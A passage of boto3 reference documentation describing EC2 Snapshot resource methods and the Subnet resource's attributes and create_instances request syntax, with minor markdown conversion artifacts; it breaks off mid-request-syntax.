-- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'SnapshotId': 'string', + 'Tags': [ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **SnapshotId** _(string) -- + The ID of the new snapshot. + + * **Tags** _(list) -- + Any tags applied to the new snapshot. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +create_tags(kwargs_) + +Adds or overwrites only the specified tags for the specified Amazon EC2 resource or resources. When you specify an existing tag key, the value is overwritten with the new value. Each resource can have a maximum of 50 tags. Each tag consists of a key and optional value. Tag keys must be unique per resource. + +For more information about tags, see [Tagging Your Resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) in the _Amazon Elastic Compute Cloud User Guide_ . For more information about creating IAM policies that control users' access to resources based on tags, see [Supported Resource-Level Permissions for Amazon EC2 API Actions](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-supported-iam-actions-resources.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +tag = snapshot.create_tags( + DryRun=True|False, + Tags=[ + { + 'Key': 'string', + 'Value': 'string' + }, + ] +) +``` + +Parameters + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +* **Tags** (_list_) -- **[REQUIRED]** The tags. The value parameter is required, but if you don't want the tag to have a value, specify the parameter with no value, and we set the value to an empty string. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + +Return: +- Return type: list(ec2.Tag) +- A list of Tag resources + +delete(kwargs_) + +Deletes the specified snapshot. + +When you make periodic snapshots of a volume, the snapshots are incremental, and only the blocks on the device that have changed since your last snapshot are saved in the new snapshot. When you delete a snapshot, only the data not needed for any other snapshot is removed. So regardless of which prior snapshots have been deleted, all active snapshots will have access to all the information needed to restore the volume. + +You cannot delete a snapshot of the root device of an EBS volume used by a registered AMI. You must first de-register the AMI before you can delete the snapshot. + +For more information, see [Deleting an Amazon EBS snapshot](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-deleting-snapshot.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = snapshot.delete( + DryRun=True|False +) +``` + +Parameters + +**DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +describe_attribute(kwargs_) + +Describes the specified attribute of the specified snapshot. You can specify only one attribute at a time. + +For more information about EBS snapshots, see [Amazon EBS snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSSnapshots.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = snapshot.describe_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) +``` + +Parameters + +* **Attribute** (_string_) -- **[REQUIRED]** The snapshot attribute you would like to view. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +Return: +- Return type: dict +- **Response Syntax** + +```py +{ + 'CreateVolumePermissions': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'ProductCodes': [ + { + 'ProductCodeId': 'string', + 'ProductCodeType': 'devpay'|'marketplace' + }, + ], + 'SnapshotId': 'string' +} +``` + + +**Response Structure** + +* _(dict) --_ + + * **CreateVolumePermissions** _(list) -- + The users and groups that have the permissions for creating volumes from the snapshot. + + * _(dict) -- + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) -- + The group to be added or removed. The possible value is all . + + * **UserId** _(string) -- + The AWS account ID to be added or removed. + + * **ProductCodes** _(list) -- + The product codes. + + * _(dict) -- + Describes a product code. + + * **ProductCodeId** _(string) -- + The product code. + + * **ProductCodeType** _(string) -- + The type of product code. + + * **SnapshotId** _(string) -- + The ID of the EBS snapshot. + + +get_available_subresources() + +Returns a list of all the available sub-resources for this Resource. +- A list containing the name of each sub-resource for this resource +Return: +- Return type: list of str + +load() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +snapshot.load() +- None + +modify_attribute(kwargs_) + +Adds or removes permission settings for the specified snapshot. You may add or remove specified AWS account IDs from a snapshot's list of create volume permissions, but you cannot do both in a single operation. If you need to both add and remove account IDs for a snapshot, you must use multiple operations. You can make up to 500 modifications to a snapshot in a single operation. + +Encrypted snapshots and snapshots with AWS Marketplace product codes cannot be made public. Snapshots encrypted with your default CMK cannot be shared with other accounts. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = snapshot.modify_attribute( + Attribute='productCodes'|'createVolumePermission', + CreateVolumePermission={ + 'Add': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ], + 'Remove': [ + { + 'Group': 'all', + 'UserId': 'string' + }, + ] + }, + GroupNames=[ + 'string', + ], + OperationType='add'|'remove', + UserIds=[ + 'string', + ], + DryRun=True|False +) +``` + +Parameters + +* **Attribute** (_string_) -- The snapshot attribute to modify. Only volume creation permissions can be modified. +* **CreateVolumePermission** (_dict_) -- + + A JSON representation of the snapshot attribute modification. + + * **Add** _(list) -- + Adds the specified AWS account ID or group to the list. + + * _(dict) -- + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) -- + The group to be added or removed. The possible value is all . + + * **UserId** _(string) -- + The AWS account ID to be added or removed. + + * **Remove** _(list) -- + Removes the specified AWS account ID or group from the list. + + * _(dict) -- + Describes the user or group to be added or removed from the list of create volume permissions for a volume. + + * **Group** _(string) -- + The group to be added or removed. The possible value is all . + + * **UserId** _(string) -- + The AWS account ID to be added or removed. + +* **GroupNames** (_list_) -- + + The group to modify for the snapshot. + + * _(string) --_ +* **OperationType** (_string_) -- The type of operation to perform to the attribute. +* **UserIds** (_list_) -- + + The account ID to modify for the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +reload() + +Calls [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") to update the attributes of the Snapshot resource. Note that the load and reload methods are the same method and can be used interchangeably. + + +**Request Syntax** + +```py +snapshot.reload() +- None + +reset_attribute(kwargs_) + +Resets permission settings for the specified snapshot. + +For more information about modifying snapshot permissions, see [Sharing snapshots](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-modifying-snapshot-permissions.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +response = snapshot.reset_attribute( + Attribute='productCodes'|'createVolumePermission', + DryRun=True|False +) +``` + +Parameters + +* **Attribute** (_string_) -- **[REQUIRED]** The attribute to reset. Currently, only the attribute for permission to create volumes can be reset. + +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +Waiters + +Waiters provide an interface to wait for a resource to reach a specific state. For more information about waiters refer to the [_Resources Introduction Guide_](../../guide/resources.html#waiters-intro). + +wait_until_completed(kwargs_) + +Waits until this Snapshot is completed. This method calls EC2.Waiter.snapshot_completed.wait() which polls. [EC2.Client.describe_snapshots()](#EC2.Client.describe_snapshots "EC2.Client.describe_snapshots") every 15 seconds until a successful state is reached. An error is returned after 40 failed checks. + + +**Request Syntax** + +```py +snapshot.wait_until_completed( + Filters=[ + { + 'Name': 'string', + 'Values': [ + 'string', + ] + }, + ], + MaxResults=123, + NextToken='string', + OwnerIds=[ + 'string', + ], + RestorableByUserIds=[ + 'string', + ], + DryRun=True|False +) +``` + +Parameters + +* **Filters** (_list_) -- + + The filters. + + * description - A description of the snapshot. + * encrypted - Indicates whether the snapshot is encrypted (true | false ) + * owner-alias - The owner alias, from an Amazon-maintained list (amazon ). This is not the user-configured AWS account alias set using the IAM console. We recommend that you use the related parameter instead of this filter. + * owner-id - The AWS account ID of the owner. We recommend that you use the related parameter instead of this filter. + * progress - The progress of the snapshot, as a percentage (for example, 80%). + * snapshot-id - The snapshot ID. + * start-time - The time stamp when the snapshot was initiated. + * status - The status of the snapshot (pending | completed | error ). + * tag : - The key/value combination of a tag assigned to the resource. Use the tag key in the filter name and the tag value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + * tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + * volume-id - The ID of the volume the snapshot is for. + * volume-size - The size of the volume, in GiB. + + * _(dict) -- + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + * DescribeAvailabilityZones + * DescribeImages + * DescribeInstances + * DescribeKeyPairs + * DescribeSecurityGroups + * DescribeSnapshots + * DescribeSubnets + * DescribeTags + * DescribeVolumes + * DescribeVpcs + + * **Name** _(string) -- + The name of the filter. Filter names are case-sensitive. + + * **Values** _(list) -- + The filter values. Filter values are case-sensitive. + + * _(string) --_ +* **MaxResults** (_integer_) -- The maximum number of snapshot results returned by DescribeSnapshots in paginated output. When this parameter is used, DescribeSnapshots only returns MaxResults results in a single page along with a NextToken response element. The remaining results of the initial request can be seen by sending another DescribeSnapshots request with the returned NextToken value. This value can be between 5 and 1,000; if MaxResults is given a value larger than 1,000, only 1,000 results are returned. If this parameter is not used, then DescribeSnapshots returns all results. You cannot specify this parameter and the snapshot IDs parameter in the same request. +* **NextToken** (_string_) -- The NextToken value returned from a previous paginated DescribeSnapshots request where MaxResults was used and the results exceeded the value of that parameter. Pagination continues from the end of the previous results that returned the NextToken value. This value is null when there are no more results to return. +* **OwnerIds** (_list_) -- + + Scopes the results to snapshots with the specified owners. You can specify a combination of AWS account IDs, self , and amazon . + + * _(string) --_ +* **RestorableByUserIds** (_list_) -- + + The IDs of the AWS accounts that can create volumes from the snapshot. + + * _(string) --_ +* **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- None + +[Subnet](#id1253) +---------------------------------------------------------- + +_class_ EC2.Subnet(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Subnet: + +```py +import boto3 + +ec2 = boto3.resource('ec2') +subnet = ec2.Subnet('id') +``` + +Parameters + +**id** (_string_) -- The Subnet's id identifier. This **must** be set. + +available identifiers: + +- id](#EC2.Subnet.id "EC2.Subnet.id") + +available attributes: + +- assign_ipv6_address_on_creation](#EC2.Subnet.assign_ipv6_address_on_creation "EC2.Subnet.assign_ipv6_address_on_creation") +- availability_zone](#EC2.Subnet.availability_zone "EC2.Subnet.availability_zone") +- availability_zone_id](#EC2.Subnet.availability_zone_id "EC2.Subnet.availability_zone_id") +- available_ip_address_count](#EC2.Subnet.available_ip_address_count "EC2.Subnet.available_ip_address_count") +- cidr_block](#EC2.Subnet.cidr_block "EC2.Subnet.cidr_block") +- customer_owned_ipv4_pool](#EC2.Subnet.customer_owned_ipv4_pool "EC2.Subnet.customer_owned_ipv4_pool") +- default_for_az](#EC2.Subnet.default_for_az "EC2.Subnet.default_for_az") +- ipv6_cidr_block_association_set](#EC2.Subnet.ipv6_cidr_block_association_set "EC2.Subnet.ipv6_cidr_block_association_set") +- map_customer_owned_ip_on_launch](#EC2.Subnet.map_customer_owned_ip_on_launch "EC2.Subnet.map_customer_owned_ip_on_launch") +- map_public_ip_on_launch](#EC2.Subnet.map_public_ip_on_launch "EC2.Subnet.map_public_ip_on_launch") +- outpost_arn](#EC2.Subnet.outpost_arn "EC2.Subnet.outpost_arn") +- owner_id](#EC2.Subnet.owner_id "EC2.Subnet.owner_id") +- state](#EC2.Subnet.state "EC2.Subnet.state") +- subnet_arn](#EC2.Subnet.subnet_arn "EC2.Subnet.subnet_arn") +- subnet_id](#EC2.Subnet.subnet_id "EC2.Subnet.subnet_id") +- tags](#EC2.Subnet.tags "EC2.Subnet.tags") +- vpc_id](#EC2.Subnet.vpc_id "EC2.Subnet.vpc_id") + +available references: + +- vpc](#EC2.Subnet.vpc "EC2.Subnet.vpc") + +available actions: + +- create_instances()](#EC2.Subnet.create_instances "EC2.Subnet.create_instances") +- create_network_interface()](#EC2.Subnet.create_network_interface "EC2.Subnet.create_network_interface") +- create_tags()](#EC2.Subnet.create_tags "EC2.Subnet.create_tags") +- delete()](#EC2.Subnet.delete "EC2.Subnet.delete") +- get_available_subresources()](#EC2.Subnet.get_available_subresources "EC2.Subnet.get_available_subresources") +- load()](#EC2.Subnet.load "EC2.Subnet.load") +- reload()](#EC2.Subnet.reload "EC2.Subnet.reload") + +available collections: + +- instances](#EC2.Subnet.instances "EC2.Subnet.instances") +- network_interfaces](#EC2.Subnet.network_interfaces "EC2.Subnet.network_interfaces") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Subnet's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Subnet.load "EC2.Subnet.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +assign_ipv6_address_on_creation + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives an IPv6 address. + + +availability_zone + +* _(string) --_ + + The Availability Zone of the subnet. + + +availability_zone_id + +* _(string) --_ + + The AZ ID of the subnet. + + +available_ip_address_count + +* _(integer) --_ + + The number of unused private IPv4 addresses in the subnet. The IPv4 addresses for any stopped instances are considered unavailable. + + +cidr_block + +* _(string) --_ + + The IPv4 CIDR block assigned to the subnet. + + +customer_owned_ipv4_pool + +* _(string) --_ + + The customer-owned IPv4 address pool associated with the subnet. + + +default_for_az + +* _(boolean) --_ + + Indicates whether this is the default subnet for the Availability Zone. + + +ipv6_cidr_block_association_set + +* _(list) --_ + + Information about the IPv6 CIDR blocks associated with the subnet. + + * _(dict) -- + Describes an IPv6 CIDR block associated with a subnet. + + * **AssociationId** _(string) -- + The association ID for the CIDR block. + + * **Ipv6CidrBlock** _(string) -- + The IPv6 CIDR block. + + * **Ipv6CidrBlockState** _(dict) -- + Information about the state of the CIDR block. + + * **State** _(string) -- + The state of a CIDR block. + + * **StatusMessage** _(string) -- + A message about the status of the CIDR block, if applicable. + + +map_customer_owned_ip_on_launch + +* _(boolean) --_ + + Indicates whether a network interface created in this subnet (including a network interface created by RunInstances ) receives a customer-owned IPv4 address. + + +map_public_ip_on_launch + +* _(boolean) --_ + + Indicates whether instances launched in this subnet receive a public IPv4 address. + + +outpost_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +owner_id + +* _(string) --_ + + The ID of the AWS account that owns the subnet. + + +state + +* _(string) --_ + + The current state of the subnet. + + +subnet_arn + +* _(string) --_ + + The Amazon Resource Name (ARN) of the subnet. + + +subnet_id + +* _(string) --_ + + The ID of the subnet. + + +tags + +* _(list) --_ + + Any tags assigned to the subnet. + + * _(dict) -- + Describes a tag. + + * **Key** _(string) -- + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + * **Value** _(string) -- + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +vpc_id + +* _(string) --_ + + The ID of the VPC the subnet is in. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +create_instances(kwargs_) + +Launches the specified number of instances using an AMI for which you have permissions. + +You can specify a number of options, or leave the default options. The following rules apply: + +- EC2-VPC] If you don't specify a subnet ID, we choose a default subnet from your default VPC for you. If you don't have a default VPC, you must specify a subnet ID in the request. +- EC2-Classic] If don't specify an Availability Zone, we choose one for you. +* Some instance types must be launched into a VPC. If you do not have a default VPC, or if you do not specify a subnet ID, the request fails. For more information, see [Instance types available only in a VPC](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-vpc.html#vpc-only-instance-types) . +- EC2-VPC] All instances have a network interface with a primary private IPv4 address. If you don't specify this address, we choose one from the IPv4 range of your subnet. +* Not all instance types support IPv6 addresses. For more information, see [Instance types](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-types.html) . +* If you don't specify a security group ID, we use the default security group. For more information, see [Security groups](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html) . +* If any of the AMIs have a product code attached for which the user has not subscribed, the request fails. + +You ``` +can create a [launch template](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-launch-templates.html) , which is a resource that contains the par``` +ameters to launch an instance. When you launch an instance using RunInstances , you can specify the launch template instead of specifying the launch parameters. + +To ensure faster instance launches, break up large requests into smaller batches. For example, create five separate launch requests for 100 instances each instead of one launch request for 500 instances. + +An instance is ready for you to use when it's in the running state. You can check the state of your instance using DescribeInstances . You can tag instances and EBS volumes during launch, after launch, or both. For more information, see CreateTags and [Tagging your Amazon EC2 resources](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_Tags.html) . + +Linux instances have access to the public key of the key pair at boot. You can use this key to provide secure access to the instance. Amazon EC2 public images use this feature to provide secure access without passwords. For more information, see [Key pairs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +For troubleshooting, see [What to do if an instance immediately terminates](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/Using_InstanceStraightToTerminated.html) , and [Troubleshooting connecting to your instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/TroubleshootingInstancesConnecting.html) in the _Amazon Elastic Compute Cloud User Guide_ . + + +**Request Syntax** + +```py +instance = subnet.create_instances( + BlockDeviceMappings=[ + { + 'DeviceName': 'string', + 'VirtualName': 'string', + 'Ebs': { + 'DeleteOnTermination': True|False, + 'Iops': 123, + 'SnapshotId': 'string', + 'VolumeSize': 123, + 'VolumeType': 'standard'|'io1'|'io2'|'gp2'|'sc1'|'st1'|'gp3', + 'KmsKeyId': 'string', + 'Throughput': 123, + 'Encrypted': True|False + }, + 'NoDevice': 'string' + }, + ], + ImageId='string', + InstanceType='t1.micro'|'t2.nano'|'t2.micro'|'t2.small'|'t2.medium'|'t2.large'|'t2.xlarge'|'t2.2xlarge'|'t3.nano'|'t3.micro'|'t3.small'|'t3.medium'|'t3.large'|'t3.xlarge'|'t3.2xlarge'|'t3a.nano'|'t3a.micro'|'t3a.small'|'t3a.medium'|'t3a.large'|'t3a.xlarge'|'t3a.2xlarge'|'t4g.nano'|'t4g.micro'|'t4g.small'|'t4g.medium'|'t4g.large'|'t4g.xlarge'|'t4g.2xlarge'|'m1.small'|'m1.medium'|'m1.large'|'m1.xlarge'|'m3.medium'|'m3.large'|'m3.xlarge'|'m3.2xlarge'|'m4.large'|'m4.xlarge'|'m4.2xlarge'|'m4.4xlarge'|'m4.10xlarge'|'m4.16xlarge'|'m2.xlarge'|'m2.2xlarge'|'m2.4xlarge'|'cr1.8xlarge'|'r3.large'|'r3.xlarge'|'r3.2xlarge'|'r3.4xlarge'|'r3.8xlarge'|'r4.large'|'r4.xlarge'|'r4.2xlarge'|'r4.4xlarge'|'r4.8xlarge'|'r4.16xlarge'|'r5.large'|'r5.xlarge'|'r5.2xlarge'|'r5.4xlarge'|'r5.8xlarge'|'r5.12xlarge'|'r5.16xlarge'|'r5.24xlarge'|'r5.metal'|'r5a.large'|'r5a.xlarge'|'r5a.2xlarge'|'r5a.4xlarge'|'r5a.8xlarge'|'r5a.12xlarge'|'r5a.16xlarge'|'r5a.24xlarge'|'r5b.large'|'r5b.xlarge'|'r5b.2xlarge'|'r5b.4xlarge'|'r5b.8xlarge'|'r5b.12xlarge'|'r5b.16xlarge'|'r5b.24xlarge'|'r5b.metal'|'r5d.large'|'r5d.xlarge'|'r5d.2xlarge'|'r5d.4xlarge'|'r5d.8xlarge'|'r5d.12xlarge'|'r5d.16xlarge'|'r5d.24xlarge'|'r5d.metal'|'r5ad.large'|'r5ad.xlarge'|'r5ad.2xlarge'|'r5ad.4xlarge'|'r5ad.8xlarge'|'r5ad.12xlarge'|'r5ad.16xlarge'|'r5ad.24xlarge'|'r6g.metal'|'r6g.medium'|'r6g.large'|'r6g.xlarge'|'r6g.2xlarge'|'r6g.4xlarge'|'r6g.8xlarge'|'r6g.12xlarge'|'r6g.16xlarge'|'r6gd.metal'|'r6gd.medium'|'r6gd.large'|'r6gd.xlarge'|'r6gd.2xlarge'|'r6gd.4xlarge'|'r6gd.8xlarge'|'r6gd.12xlarge'|'r6gd.16xlarge'|'x1.16xlarge'|'x1.32xlarge'|'x1e.xlarge'|'x1e.2xlarge'|'x1e.4xlarge'|'x1e.8xlarge'|'x1e.16xlarge'|'x1e.32xlarge'|'i2.xlarge'|'i2.2xlarge'|'i2.4xlarge'|'i2.8xlarge'|'i3.large'|'i3.xlarge'|'i3.2xlarge'|'i3.4xlarge'|'i3.8xlarge'|'i3.16xlarge'|'i3.metal'|'i3en.large'|'i3en.xlarge'|'i3en.2xlarge'|'i3en.3xlarge'|'i3en.6xlarge'|'i3en.12xlarge'|'i3en.24xlarge'|'i3en.metal'|'hi1.4xlarge'|'hs1.8xlarge'|'c1.medium'|'c1.xlarge'|'c3.large'|'c3.xlarge'|'c3.2xlarge'|'c3.4xlarge'|'c3.8xlarge'|'c4.large'|'c4.xlarge'|'c4.2xlarge'|'c4.4xlarge'|'c4.8xlarge'|'c5.large'|'c5.xlarge'|'c5.2xlarge'|'c5.4xlarge'|'c5.9xlarge'|'c5.12xlarge'|'c5.18xlarge'|'c5.24xlarge'|'c5.metal'|'c5a.large'|'c5a.xlarge'|'c5a.2xlarge'|'c5a.4xlarge'|'c5a.8xlarge'|'c5a.12xlarge'|'c5a.16xlarge'|'c5a.24xlarge'|'c5ad.large'|'c5ad.xlarge'|'c5ad.2xlarge'|'c5ad.4xlarge'|'c5ad.8xlarge'|'c5ad.12xlarge'|'c5ad.16xlarge'|'c5ad.24xlarge'|'c5d.large'|'c5d.xlarge'|'c5d.2xlarge'|'c5d.4xlarge'|'c5d.9xlarge'|'c5d.12xlarge'|'c5d.18xlarge'|'c5d.24xlarge'|'c5d.metal'|'c5n.large'|'c5n.xlarge'|'c5n.2xlarge'|'c5n.4xlarge'|'c5n.9xlarge'|'c5n.18xlarge'|'c5n.metal'|'c6g.metal'|'c6g.medium'|'c6g.large'|'c6g.xlarge'|'c6g.2xlarge'|'c6g.4xlarge'|'c6g.8xlarge'|'c6g.12xlarge'|'c6g.16xlarge'|'c6gd.metal'|'c6gd.medium'|'c6gd.large'|'c6gd.xlarge'|'c6gd.2xlarge'|'c6gd.4xlarge'|'c6gd.8xlarge'|'c6gd.12xlarge'|'c6gd.16xlarge'|'c6gn.medium'|'c6gn.large'|'c6gn.xlarge'|'c6gn.2xlarge'|'c6gn.4xlarge'|'c6gn.8xlarge'|'c6gn.12xlarge'|'c6gn.16xlarge'|'cc1.4xlarge'|'cc2.8xlarge'|'g2.2xlarge'|'g2.8xlarge'|'g3.4xlarge'|'g3.8xlarge'|'g3.16xlarge'|'g3s.xlarge'|'g4ad.4xlarge'|'g4ad.8xlarge'|'g4ad.16xlarge'|'g4dn.xlarge'|'g4dn.2xlarge'|'g4dn.4xlarge'|'g4dn.8xlarge'|'g4dn.12xlarge'|'g4dn.16xlarge'|'g4dn.metal'|'cg1.4xlarge'|'p2.xlarge'|'p2.8xlarge'|'p2.16xlarge'|'p3.2xlarge'|'p3.8xlarge'|'p3.16xlarge'|'p3dn.24xlarge'|'p4d.24xlarge'|'d2.xlarge'|'d2.2xlarge'|'d2.4xlarge'|'d2.8xlarge'|'d3.xlarge'|'d3.2xlarge'|'d3.4xlarge'|'d3.8xlarge'|'d3en.xlarge'|'d3en.2xlarge'|'d3en.4xlarge'|'d3en.6xlarge'|'d3en.8xlarge'|'d3en.12xlarge'|'f1.2xlarge'|'f1.4xlarge'|'f1.16xlarge'|'m5.large'|'m5.xlarge'|'m5.2xlarge'|'m5.4xlarge'|'m5.8xlarge'|'m5.12xlarge'|'m5.16xlarge'|'m5.24xlarge'|'m5.metal'|'m5a.large'|'m5a.xlarge'|'m5a.2xlarge'|'m5a.4xlarge'|'m5a.8xlarge'|'m5a.12xlarge'|'m5a.16xlarge'|'m5a.24xlarge'|'m5d.large'|'m5d.xlarge'|'m5d.2xlarge'|'m5d.4xlarge'|'m5d.8xlarge'|'m5d.12xlarge'|'m5d.16xlarge'|'m5d.24xlarge'|'m5d.metal'|'m5ad.large'|'m5ad.xlarge'|'m5ad.2xlarge'|'m5ad.4xlarge'|'m5ad.8xlarge'|'m5ad.12xlarge'|'m5ad.16xlarge'|'m5ad.24xlarge'|'m5zn.large'|'m5zn.xlarge'|'m5zn.2xlarge'|'m5zn.3xlarge'|'m5zn.6xlarge'|'m5zn.12xlarge'|'m5zn.metal'|'h1.2xlarge'|'h1.4xlarge'|'h1.8xlarge'|'h1.16xlarge'|'z1d.large'|'z1d.xlarge'|'z1d.2xlarge'|'z1d.3xlarge'|'z1d.6xlarge'|'z1d.12xlarge'|'z1d.metal'|'u-6tb1.metal'|'u-9tb1.metal'|'u-12tb1.metal'|'u-18tb1.metal'|'u-24tb1.metal'|'a1.medium'|'a1.large'|'a1.xlarge'|'a1.2xlarge'|'a1.4xlarge'|'a1.metal'|'m5dn.large'|'m5dn.xlarge'|'m5dn.2xlarge'|'m5dn.4xlarge'|'m5dn.8xlarge'|'m5dn.12xlarge'|'m5dn.16xlarge'|'m5dn.24xlarge'|'m5n.large'|'m5n.xlarge'|'m5n.2xlarge'|'m5n.4xlarge'|'m5n.8xlarge'|'m5n.12xlarge'|'m5n.16xlarge'|'m5n.24xlarge'|'r5dn.large'|'r5dn.xlarge'|'r5dn.2xlarge'|'r5dn.4xlarge'|'r5dn.8xlarge'|'r5dn.12xlarge'|'r5dn.16xlarge'|'r5dn.24xlarge'|'r5n.large'|'r5n.xlarge'|'r5n.2xlarge'|'r5n.4xlarge'|'r5n.8xlarge'|'r5n.12xlarge'|'r5n.16xlarge'|'r5n.24xlarge'|'inf1.xlarge'|'inf1.2xlarge'|'inf1.6xlarge'|'inf1.24xlarge'|'m6g.metal'|'m6g.medium'|'m6g.large'|'m6g.xlarge'|'m6g.2xlarge'|'m6g.4xlarge'|'m6g.8xlarge'|'m6g.12xlarge'|'m6g.16xlarge'|'m6gd.metal'|'m6gd.medium'|'m6gd.large'|'m6gd.xlarge'|'m6gd.2xlarge'|'m6gd.4xlarge'|'m6gd.8xlarge'|'m6gd.12xlarge'|'m6gd.16xlarge'|'mac1.metal', + Ipv6AddressCount=123, + Ipv6Addresses=[ + { + 'Ipv6Address': 'string' + }, + ], + KernelId='string', + KeyName='string', + MaxCount=123, + MinCount=123, + Monitoring={ + 'Enabled': True|False + }, + Placement={ + 'AvailabilityZone': 'string', + 'Affinity': 'string', + 'GroupName': 'string', + 'PartitionNumber': 123, + 'HostId': 'string', + 'Tenancy': 'default'|'dedicated'|'host', + 'SpreadDomain': 'string', + 'HostResourceGroupArn': 'string' + }, + RamdiskId='string', + SecurityGroupIds=[ + 'string', + ], + SecurityGroups=[ + 'string', + ], + UserData='string', + AdditionalInfo='string', + ClientToken='string', + DisableApiTermination=True|False, + DryRun=True|False, + EbsOptimized=True|False, + IamInstanceProfile={ + 'Arn': 'string', + 'Name': 'string' + }, + InstanceInitiatedShutdownBehavior='stop'|'terminate', + NetworkInterfaces=[ + { + 'AssociatePublicIpAddress': True|False, + 'DeleteOnTermination': True|False, + 'Description': 'string', + 'DeviceIndex': 123, + 'Groups': [ + 'string', + ], + 'Ipv6AddressCount': 123, + 'Ipv6Addresses': [ + { + 'Ipv6Address': 'string' + }, + ], + 'NetworkInterfaceId': 'string', + 'PrivateIpAddress': 'string', + 'PrivateIpAddresses': [ + { + 'Primary': True|False, + 'PrivateIpAddress': 'string' + }, + ], + 'SecondaryPrivateIpAddressCount': 123, + 